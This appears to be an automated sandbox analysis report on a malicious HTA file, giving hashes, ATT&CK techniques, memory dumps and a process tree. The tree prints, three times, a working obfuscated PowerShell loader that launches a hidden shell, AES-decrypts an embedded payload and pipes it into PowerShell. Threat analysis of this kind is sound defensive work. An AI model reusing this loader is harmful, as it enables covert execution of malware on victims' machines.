3f04d3267f818beec7a5f29a7780282bdf862a71669230b796b77700a494b55d

Analysis

max time kernel
120s
max time network
125s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
10-01-2024 21:28

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General

Target

163.5.169.28/SCAN-atoletter3.hta
Size

1.1MB
MD5

65a82ba108814502f8de8f9c918c1637
SHA1

81bb281aff6d485787f79558b2433a529af5d53b
SHA256

dceca8e7f6baca5bd3417c0e05a1e9e934a0c72fe36c79fd3aca451ea2168d76
SHA512

477a94c061e96c5b8cdc256e746eb9dbd57339c93bcbd90bb66e2b6d21a7ff9e35b3b0ac7eac7a4c2b308306b06178060c38bce1470f5d94af32d07a97ce2621
SSDEEP

1536:MUQr+podgEt/pvBYwPBONWBImr/l1vcmafSIm+lIWFWY7Cy5h7OIxeZeDG52VP+q:ArooW8vhXBHuV

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2376	powershell.exe
2376	powershell.exe
2376	powershell.exe
2764	powershell.exe
2936	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2376	powershell.exe
Token: SeDebugPrivilege	2764	powershell.exe
Token: SeDebugPrivilege	2936	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2876 wrote to memory of 2376	2876	mshta.exe	28
PID 2876 wrote to memory of 2376	2876	mshta.exe	28
PID 2876 wrote to memory of 2376	2876	mshta.exe	28
PID 2876 wrote to memory of 2376	2876	mshta.exe	28
PID 2376 wrote to memory of 2976	2376	powershell.exe	30
PID 2376 wrote to memory of 2976	2376	powershell.exe	30
PID 2376 wrote to memory of 2976	2376	powershell.exe	30
PID 2376 wrote to memory of 2976	2376	powershell.exe	30
PID 2976 wrote to memory of 2764	2976	cmd.exe	32
PID 2976 wrote to memory of 2764	2976	cmd.exe	32
PID 2976 wrote to memory of 2764	2976	cmd.exe	32
PID 2976 wrote to memory of 2764	2976	cmd.exe	32
PID 2976 wrote to memory of 2936	2976	cmd.exe	33
PID 2976 wrote to memory of 2936	2976	cmd.exe	33
PID 2976 wrote to memory of 2936	2976	cmd.exe	33
PID 2976 wrote to memory of 2936	2976	cmd.exe	33

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\163.5.169.28\SCAN-atoletter3.hta"
1⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2876
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $QSAxJ = 'AAAAAAAAAAAAAAAAAAAAAEVCYhPxkB9Pvx13+D7sCkBIDkr/feJ+8IkDwxt6lYAby98BRZWUsDSmh+zJoRSO27WxlPC5j1pEXBpEQHGBXBIfgGKgMuMJSwct1pdT4AmRUFHKG7fMfWuR6jXRm98nBkQPaj7xcpD6nSLM/CZv3BgGUsqLSMnprxvqVKcLMUrx1+ZAMT+68gclz0g6bY0UPkizERpnjhJLs0ggWsiy32ddEKBk19nSMLfyQ19JBq74ZMpOVfFxLMTIWB/8kDMnzLxRAYLnQfM/hhNVOqe0N0AfZxP9SRmAHkqgPL3ItS786b1Z7KsDisFoPJJQNCsXRkY4Gq0IKrTS/0oGkB82DsRWDHsEmfIN2I6DZMZvJ0Lp47fV10aoX2YRVTQRP/dkvLhC76+b02EZearv985N0xBkxWR/4qRhtVq77owCZik6gvMxNceqPC+EukG5NbPM9YVlQADzyrZDtOKGtFBaod14dnB9TqC0Gu4Gx9zQag7iEXZemYdl4RtgUbrgtgvCxK4osRFXyZV6zfsxnBMbjU95oNFJb3JklaF4yIQuK6hSSKYnGPo6PSpmzvGg3M9W5RyWc/SNDVkGcvMZJBEIfNyVsNeUYrQxJB/H7qb8LXhrCcFFR8VW/De98AHkYeKR/plZsLa7oUtgq7H+O9/bciv64Hs2FEO3bru8eosZVhr9GSbDDAzWFuv8QHlxeU7rjR+kYL7bTJHsg91dezbRSjTBymg70B6z+HL7NI7Botdke+29khbtYwuOwkgPOZytR/YdiXPaR5YssB3kEewbuOW4P1REffWdAuf6aD+VhBoQj9OVE0RAbv87AOgokGxiGLx+fA4wToU4o/AM5uY4zOndxaIwaIdxNjR5PenhntENqzRD8VSIDtBhIIDqPoauUr1WFmYsHowo9UT82q9VSXE1ozMSKP3DgFjrXo+K0cJAquGd5LZFl5jAjIbOF6OEa6aab2SSlPuGKsw+1JQ+31bXx+g2PCrIwVfvomyzrO5Y0bm6VuCAp8PwQSglQnRFLA==';$CYVFUMU = 'U3l4ZnltaHVrRlhBSERMSklOa29VclVpQlVvT3VpSmQ=';$WjkWJHlT = New-Object 'System.Security.Cryptography.AesManaged';$WjkWJHlT.Mode = [System.Security.Cryptography.CipherMode]::ECB;$WjkWJHlT.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$WjkWJHlT.BlockSize = 128;$WjkWJHlT.KeySize = 256;$WjkWJHlT.Key = [System.Convert]::FromBase64String($CYVFUMU);$vCffd = [System.Convert]::FromBase64String($QSAxJ);$KujCHXfb = $vCffd[0..15];$WjkWJHlT.IV = $KujCHXfb;$lsWWLMmAD = $WjkWJHlT.CreateDecryptor();$MVpgCwqji = $lsWWLMmAD.TransformFinalBlock($vCffd, 16, $vCffd.Length - 16);$WjkWJHlT.Dispose();$Vixp = New-Object System.IO.MemoryStream( , $MVpgCwqji );$lXxkNy = New-Object System.IO.MemoryStream;$StnaluuLT = New-Object System.IO.Compression.GzipStream $Vixp, ([IO.Compression.CompressionMode]::Decompress);$StnaluuLT.CopyTo( $lXxkNy );$StnaluuLT.Close();$Vixp.Close();[byte[]] $qIJwjSw = $lXxkNy.ToArray();$lwnIytSZ = [System.Text.Encoding]::UTF8.GetString($qIJwjSw);$lwnIytSZ | powershell - }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2376
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c powershell.exe $QSAxJ = 'AAAAAAAAAAAAAAAAAAAAAEVCYhPxkB9Pvx13+D7sCkBIDkr/feJ+8IkDwxt6lYAby98BRZWUsDSmh+zJoRSO27WxlPC5j1pEXBpEQHGBXBIfgGKgMuMJSwct1pdT4AmRUFHKG7fMfWuR6jXRm98nBkQPaj7xcpD6nSLM/CZv3BgGUsqLSMnprxvqVKcLMUrx1+ZAMT+68gclz0g6bY0UPkizERpnjhJLs0ggWsiy32ddEKBk19nSMLfyQ19JBq74ZMpOVfFxLMTIWB/8kDMnzLxRAYLnQfM/hhNVOqe0N0AfZxP9SRmAHkqgPL3ItS786b1Z7KsDisFoPJJQNCsXRkY4Gq0IKrTS/0oGkB82DsRWDHsEmfIN2I6DZMZvJ0Lp47fV10aoX2YRVTQRP/dkvLhC76+b02EZearv985N0xBkxWR/4qRhtVq77owCZik6gvMxNceqPC+EukG5NbPM9YVlQADzyrZDtOKGtFBaod14dnB9TqC0Gu4Gx9zQag7iEXZemYdl4RtgUbrgtgvCxK4osRFXyZV6zfsxnBMbjU95oNFJb3JklaF4yIQuK6hSSKYnGPo6PSpmzvGg3M9W5RyWc/SNDVkGcvMZJBEIfNyVsNeUYrQxJB/H7qb8LXhrCcFFR8VW/De98AHkYeKR/plZsLa7oUtgq7H+O9/bciv64Hs2FEO3bru8eosZVhr9GSbDDAzWFuv8QHlxeU7rjR+kYL7bTJHsg91dezbRSjTBymg70B6z+HL7NI7Botdke+29khbtYwuOwkgPOZytR/YdiXPaR5YssB3kEewbuOW4P1REffWdAuf6aD+VhBoQj9OVE0RAbv87AOgokGxiGLx+fA4wToU4o/AM5uY4zOndxaIwaIdxNjR5PenhntENqzRD8VSIDtBhIIDqPoauUr1WFmYsHowo9UT82q9VSXE1ozMSKP3DgFjrXo+K0cJAquGd5LZFl5jAjIbOF6OEa6aab2SSlPuGKsw+1JQ+31bXx+g2PCrIwVfvomyzrO5Y0bm6VuCAp8PwQSglQnRFLA==';$CYVFUMU = 'U3l4ZnltaHVrRlhBSERMSklOa29VclVpQlVvT3VpSmQ=';$WjkWJHlT = New-Object 'System.Security.Cryptography.AesManaged';$WjkWJHlT.Mode = [System.Security.Cryptography.CipherMode]::ECB;$WjkWJHlT.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$WjkWJHlT.BlockSize = 128;$WjkWJHlT.KeySize = 256;$WjkWJHlT.Key = [System.Convert]::FromBase64String($CYVFUMU);$vCffd = [System.Convert]::FromBase64String($QSAxJ);$KujCHXfb = $vCffd[0..15];$WjkWJHlT.IV = $KujCHXfb;$lsWWLMmAD = $WjkWJHlT.CreateDecryptor();$MVpgCwqji = $lsWWLMmAD.TransformFinalBlock($vCffd, 16, $vCffd.Length - 16);$WjkWJHlT.Dispose();$Vixp = New-Object System.IO.MemoryStream( , $MVpgCwqji );$lXxkNy = New-Object System.IO.MemoryStream;$StnaluuLT = New-Object System.IO.Compression.GzipStream $Vixp, ([IO.Compression.CompressionMode]::Decompress);$StnaluuLT.CopyTo( $lXxkNy );$StnaluuLT.Close();$Vixp.Close();[byte[]] $qIJwjSw = $lXxkNy.ToArray();$lwnIytSZ = [System.Text.Encoding]::UTF8.GetString($qIJwjSw);$lwnIytSZ | powershell -
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2976
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe $QSAxJ = 'AAAAAAAAAAAAAAAAAAAAAEVCYhPxkB9Pvx13+D7sCkBIDkr/feJ+8IkDwxt6lYAby98BRZWUsDSmh+zJoRSO27WxlPC5j1pEXBpEQHGBXBIfgGKgMuMJSwct1pdT4AmRUFHKG7fMfWuR6jXRm98nBkQPaj7xcpD6nSLM/CZv3BgGUsqLSMnprxvqVKcLMUrx1+ZAMT+68gclz0g6bY0UPkizERpnjhJLs0ggWsiy32ddEKBk19nSMLfyQ19JBq74ZMpOVfFxLMTIWB/8kDMnzLxRAYLnQfM/hhNVOqe0N0AfZxP9SRmAHkqgPL3ItS786b1Z7KsDisFoPJJQNCsXRkY4Gq0IKrTS/0oGkB82DsRWDHsEmfIN2I6DZMZvJ0Lp47fV10aoX2YRVTQRP/dkvLhC76+b02EZearv985N0xBkxWR/4qRhtVq77owCZik6gvMxNceqPC+EukG5NbPM9YVlQADzyrZDtOKGtFBaod14dnB9TqC0Gu4Gx9zQag7iEXZemYdl4RtgUbrgtgvCxK4osRFXyZV6zfsxnBMbjU95oNFJb3JklaF4yIQuK6hSSKYnGPo6PSpmzvGg3M9W5RyWc/SNDVkGcvMZJBEIfNyVsNeUYrQxJB/H7qb8LXhrCcFFR8VW/De98AHkYeKR/plZsLa7oUtgq7H+O9/bciv64Hs2FEO3bru8eosZVhr9GSbDDAzWFuv8QHlxeU7rjR+kYL7bTJHsg91dezbRSjTBymg70B6z+HL7NI7Botdke+29khbtYwuOwkgPOZytR/YdiXPaR5YssB3kEewbuOW4P1REffWdAuf6aD+VhBoQj9OVE0RAbv87AOgokGxiGLx+fA4wToU4o/AM5uY4zOndxaIwaIdxNjR5PenhntENqzRD8VSIDtBhIIDqPoauUr1WFmYsHowo9UT82q9VSXE1ozMSKP3DgFjrXo+K0cJAquGd5LZFl5jAjIbOF6OEa6aab2SSlPuGKsw+1JQ+31bXx+g2PCrIwVfvomyzrO5Y0bm6VuCAp8PwQSglQnRFLA==';$CYVFUMU = 'U3l4ZnltaHVrRlhBSERMSklOa29VclVpQlVvT3VpSmQ=';$WjkWJHlT = New-Object 'System.Security.Cryptography.AesManaged';$WjkWJHlT.Mode = [System.Security.Cryptography.CipherMode]::ECB;$WjkWJHlT.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$WjkWJHlT.BlockSize = 128;$WjkWJHlT.KeySize = 256;$WjkWJHlT.Key = [System.Convert]::FromBase64String($CYVFUMU);$vCffd = [System.Convert]::FromBase64String($QSAxJ);$KujCHXfb = $vCffd[0..15];$WjkWJHlT.IV = $KujCHXfb;$lsWWLMmAD = $WjkWJHlT.CreateDecryptor();$MVpgCwqji = $lsWWLMmAD.TransformFinalBlock($vCffd, 16, $vCffd.Length - 16);$WjkWJHlT.Dispose();$Vixp = New-Object System.IO.MemoryStream( , $MVpgCwqji );$lXxkNy = New-Object System.IO.MemoryStream;$StnaluuLT = New-Object System.IO.Compression.GzipStream $Vixp, ([IO.Compression.CompressionMode]::Decompress);$StnaluuLT.CopyTo( $lXxkNy );$StnaluuLT.Close();$Vixp.Close();[byte[]] $qIJwjSw = $lXxkNy.ToArray();$lwnIytSZ = [System.Text.Encoding]::UTF8.GetString($qIJwjSw);$lwnIytSZ
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2764
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2936

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
e48a97a467b211d779a3fa243de18052

SHA1
1571d8f952049f07ae62b25907c1639424112db9

SHA256
bfc8cbd8fb88c0e5347d60db6b6873b5e1527c4f87b6b6f83374f2139507c413

SHA512
43ad54e46b86a6ff7ed2fa235150bacbd6efca297e3e0640d13259e784f99bb71af0a71c9ea9193e4071b53cc8686a8d3317e0b73b9b72c27210a1544c7a74cf

Download Submit
memory/2376-2-0x0000000072790000-0x0000000072D3B000-memory.dmp

Filesize
5.7MB

Download
memory/2376-4-0x0000000001F90000-0x0000000001FD0000-memory.dmp

Filesize
256KB

Download
memory/2376-3-0x0000000072790000-0x0000000072D3B000-memory.dmp

Filesize
5.7MB

Download
memory/2376-5-0x0000000001F90000-0x0000000001FD0000-memory.dmp

Filesize
256KB

Download
memory/2376-6-0x0000000001F90000-0x0000000001FD0000-memory.dmp

Filesize
256KB

Download
memory/2376-7-0x0000000072790000-0x0000000072D3B000-memory.dmp

Filesize
5.7MB

Download
memory/2764-19-0x0000000002820000-0x0000000002860000-memory.dmp

Filesize
256KB

Download
memory/2764-14-0x0000000072790000-0x0000000072D3B000-memory.dmp

Filesize
5.7MB

Download
memory/2764-20-0x0000000072790000-0x0000000072D3B000-memory.dmp

Filesize
5.7MB

Download
memory/2764-23-0x0000000002820000-0x0000000002860000-memory.dmp

Filesize
256KB

Download
memory/2764-24-0x0000000002820000-0x0000000002860000-memory.dmp

Filesize
256KB

Download
memory/2764-37-0x0000000072790000-0x0000000072D3B000-memory.dmp

Filesize
5.7MB

Download
memory/2936-22-0x0000000072790000-0x0000000072D3B000-memory.dmp

Filesize
5.7MB

Download
memory/2936-21-0x0000000002840000-0x0000000002880000-memory.dmp

Filesize
256KB

Download
memory/2936-25-0x0000000002840000-0x0000000002880000-memory.dmp

Filesize
256KB

Download
memory/2936-26-0x0000000002840000-0x0000000002880000-memory.dmp

Filesize
256KB

Download
memory/2936-27-0x0000000072790000-0x0000000072D3B000-memory.dmp

Filesize
5.7MB

Download
memory/2936-38-0x0000000072790000-0x0000000072D3B000-memory.dmp

Filesize
5.7MB

Download